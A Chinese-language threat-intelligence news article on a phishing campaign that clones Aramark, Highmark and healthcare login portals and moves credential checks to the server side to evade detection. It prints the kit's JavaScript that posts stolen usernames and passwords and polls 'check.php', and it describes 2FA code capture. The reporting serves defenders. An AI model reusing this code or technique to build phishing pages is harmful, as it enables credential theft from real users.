通过网络钓鱼窃取凭据仍然是获取对企业环境未经授权访问的最可靠方法之一。
现已发现一场精心策划的网络钓鱼活动,其目标是包括 Aramark、Highmark 以及多家医疗保健提供商等大型组织的员工和会员门户。
这场活动使用了克隆的登录页面,这些页面旨在通过基于 PHP 的网络钓鱼工具包来窃取凭据,攻击者实施了服务器端验证技术,以避免被安全工具和研究人员检测到。
被盗取的用户名和密码经常被用于初始访问、内部转换以及账户滥用 —— 而且往往在安全警报触发之前很久就已经被利用了。
这场活动专门针对员工可访问敏感系统的高价值企业门户。
网络钓鱼页面经过精心设计,以模仿合法的登录界面,包括公司品牌标识、相同的布局以及熟悉的用户体验。
这些恶意网站托管在精心设计得看似合法的域名上,例如 “myinfoaramapay [.] com” 假冒了Aramark 的 MyAccess 门户,“hignmarkedmemb [.] com” 冒充了 Highmark 医疗保健公司的会员门户。
攻击者利用 Cloudflare 服务和其他托管服务提供商来掩盖他们的真实基础设施,并提高其可信度。
Hunt.io 的研究人员发现,与之前的攻击活动相比,攻击者的技术有了显著的演变。
早期的网络钓鱼工具包执行的是客户端验证和重定向,很容易被检测到,而当前的活动已将凭据检查转移到了服务器端操作,这使得分析工作变得更加困难,并且限制了对攻击流程的可见性。
这种故意阻碍分析的行为标志着网络钓鱼技术在复杂性方面有了令人担忧的进步。
这些网络钓鱼网站在特定路径(如 “/online” 目录)后运行,访问根域名会导致出现 403 禁止访问错误 —— 这可能是一种战术决策,旨在减少安全扫描程序和研究人员不必要的关注。
服务器端验证机制
这场活动最值得注意的方面是其服务器端验证机制。
与使用客户端 JavaScript 在窃取凭据后进行验证和重定向用户(这种技术很容易被安全工具检测到留下的痕迹)不同,新的方法实现了对后端脚本的轮询机制。
JavaScript 代码捕获凭据并将其提交到 “xxx [.] php”,然后开始每秒对 “check [.] php” 端点进行一次轮询:
function getUpdatesSubmit() {
localStorage.setItem(“uname”, document.getElementById(“username”).value);
var xhr = new XMLHttpRequest();
xhr.open(“POST”, “xxx.php”, true);
xhr.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xhr.send(“username=” + document.getElementById(“username”).value + “&password=” + document.getElementById(“password”).value);
setInterval(function() {
var request = new XMLHttpRequest();
request.open(“GET”, “check.php”, true);
request.onload = function() {
if (request.responseText == “success”) {
window.location = “./verify/”;
} else if (request.responseText == “error”) {
alert(“Invalid credentials. Please try again.”);
location.reload();
}
};
request.send();
}, 1000);}
该脚本会轮询三种可能的响应:“success”(重定向到一个验证页面)、“error”(显示关于凭据无效的警告)或无响应(继续以静默方式轮询)。
更高级的变种包括使用 “getUpdates2fa ()” 函数进行双因素身份验证网络钓鱼的功能,该函数使用 “type = 3” 参数来捕获一次性密码,以便将一次性密码的收集与初始凭据窃取区分开来。